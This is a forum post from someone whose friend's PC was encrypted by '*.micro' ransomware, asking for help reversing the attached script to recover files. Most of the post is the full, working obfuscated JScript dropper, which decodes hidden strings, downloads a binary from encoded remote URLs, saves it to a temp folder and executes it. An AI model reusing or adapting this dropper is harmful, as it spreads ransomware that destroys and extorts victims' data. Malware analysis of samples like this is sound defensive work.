I have a friend with PC which is infected with some sort of "RANSOMWARE" - a type of malware where will encrypt your files(images,videos and documents) and ask for payment for decryption.
I managed to take out the root processes of the virus(which encrypt and change all of document, images and video files to "*.micro" files) but recovering the infected data is a bit difficult and not much resources available online yet.
Here is the .js script file that triggers the malware:
var _base64Idx = [
/*43 -43 = 0*/
/*'+', 1, 2, 3,'/' */
62, -1, -1, -1, 63,
/*'0','1','2','3','4','5','6','7','8','9' */
52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
/*15, 16, 17,'=', 19, 20, 21 */
-1, -1, -1, 64, -1, -1, -1,
/*65 - 43 = 22*/
/*'A','B','C','D','E','F','G','H','I','J','K','L','M', */
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12,
/*'N','O','P','Q','R','S','T','U','V','W','X','Y','Z' */
13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25,
/*91 - 43 = 48 */
/*48, 49, 50, 51, 52, 53 */
-1, -1, -1, -1, -1, -1,
/*97 - 43 = 54*/
/*'a','b','c','d','e','f','g','h','i','j','k','l','m' */
26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38,
/*'n','o','p','q','r','s','t','u','v','w','x','y','z' */
39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51
];
function decode(input, output, offset) {
var out = output;
if(!out) {
out = new Uint8Array(Math.ceil(input.length / 4) * 3);
}
// remove all non-base64 characters
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');
offset = offset || 0;
var enc1, enc2, enc3, enc4;
var i = 0, j = offset;
while(i < input.length) {
enc1 = _base64Idx[input.charCodeAt(i++) - 43];
enc2 = _base64Idx[input.charCodeAt(i++) - 43];
enc3 = _base64Idx[input.charCodeAt(i++) - 43];
enc4 = _base64Idx[input.charCodeAt(i++) - 43];
out[j++] = (enc1 << 2) | (enc2 >> 4);
if(enc3 !== 64) {
// decoded at least 2 bytes
out[j++] = ((enc2 & 15) << 4) | (enc3 >> 2);
if(enc4 !== 64) {
// decoded 3 bytes
out[j++] = ((enc3 & 3) << 6) | enc4;
}
}
}
// make sure result is the exact decoded length
return output ?
(j - offset) :
out.subarray(0, j);
}
var tEuosqyTkm = function (packedText) {
var buffer = [];
var length = decode(packedText, buffer);
var charCodeAt = "charCodeAt";
var result = "";
for (var i = 0; i < length; i++) {
result += String.fromCharCode(buffer[i] ^ "bVE6YUkX3beIQAEG"[charCodeAt](i % "bVE6YUkX3beIQAEG".length));
}
return result;
};
var aideN66 = function() {
var vapidAuw = function() {};
vapidAuw.prototype.create = function(disapprobationQvY) {
return WScript.CreateObject(disapprobationQvY);
};
return vapidAuw;
}();
(function() {
var nettlepkm = new aideN66();
var banterKA3 = 200;
var inspireRpB = tEuosqyTkm('"JRMR"');
var pallidK2I = tEuosqyTkm('"Jy4gVQ=="');
var sultryiRC = tEuosqyTkm('"NQUmRDAlH3ZgCgAlPQ=="');
var constrainedfQW = tEuosqyTkm('"LwUdexVnRQB+Li0dBRE="');
var interpolatevY1 = tEuosqyTkm('"BDx8AAg0ABdDMA=="');
var denouementpK3 = tEuosqyTkm('"KgcBcCwRER56Jw=="');
var gratisE9J = tEuosqyTkm('"CG4EQWAYCg90Lg=="');
var rangeuR2 = tEuosqyTkm('"Jz0LeGwnBWwFIw=="');
var broochIQm = tEuosqyTkm('"MzoheDZsKhddBQ=="');
var smatteringBY6 = tEuosqyTkm('"NhQQXwwiOABAVA=="');
var interminablecBc = tEuosqyTkm('"MzwOBioiPyJwLQ=="');
var sonorousmpK = tEuosqyTkm('"IxIKchs="');
var evidentzgN = tEuosqyTkm('"MSI3Uzg4"');
var convalesceWKQ = tEuosqyTkm('"RwIAewlwNw=="');
var justifyaTv = tEuosqyTkm('"TDM9Uw=="');
var cedeWsU = Math.pow(2, 10) * 249;
var foilgEV = [ tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFgoJEU7XA9Ke2dvID8H"'), tEuosqyTkm('"CiIxRmN6RDBWDgkmKC4wKQU7JFg/M0U7XA9Ke2dvID8H"') ];
var suavityzSi = 2097152;
var flagHQx = nettlepkm.create(sultryiRC);
var endemicfVU = nettlepkm.create(constrainedfQW);
var evidentv5F = nettlepkm.create(sonorousmpK + tEuosqyTkm('"TA=="') + evidentzgN);
var humbleM87 = flagHQx.ExpandEnvironmentStrings(convalesceWKQ);
var weltPvA = humbleM87 + suavityzSi + justifyaTv;
var roseatef1b = false;
for (var masticatehJi = 0; masticatehJi < foilgEV.length; masticatehJi++) {
try {
var invocationIOk = foilgEV[masticatehJi];
endemicfVU.open(inspireRpB, invocationIOk, false);
endemicfVU.send();
if (endemicfVU.status == banterKA3) {
try {
evidentv5F.open();
evidentv5F.type = 1;
evidentv5F.write(endemicfVU[tEuosqyTkm('"EDM2RjY7GD1xDQEw"')]);
if (evidentv5F.size > cedeWsU) {
masticatehJi = foilgEV.length;
evidentv5F.position = 0;
evidentv5F.saveToFile(weltPvA, 2);
roseatef1b = true;
}
} finally {
evidentv5F.close();
}
}
} catch (ignored) {}
}
if (roseatef1b) {
flagHQx[pallidK2I](humbleM87 + Math.pow(2, 21));
}
})();
Anybody here can help me out on reverse engineering this script to decrypt/recover the encrypted files?
Thank you :)
P.S. FYI, this "ransomware" script circulating through emails as attachment since 9th of Feb 2016.
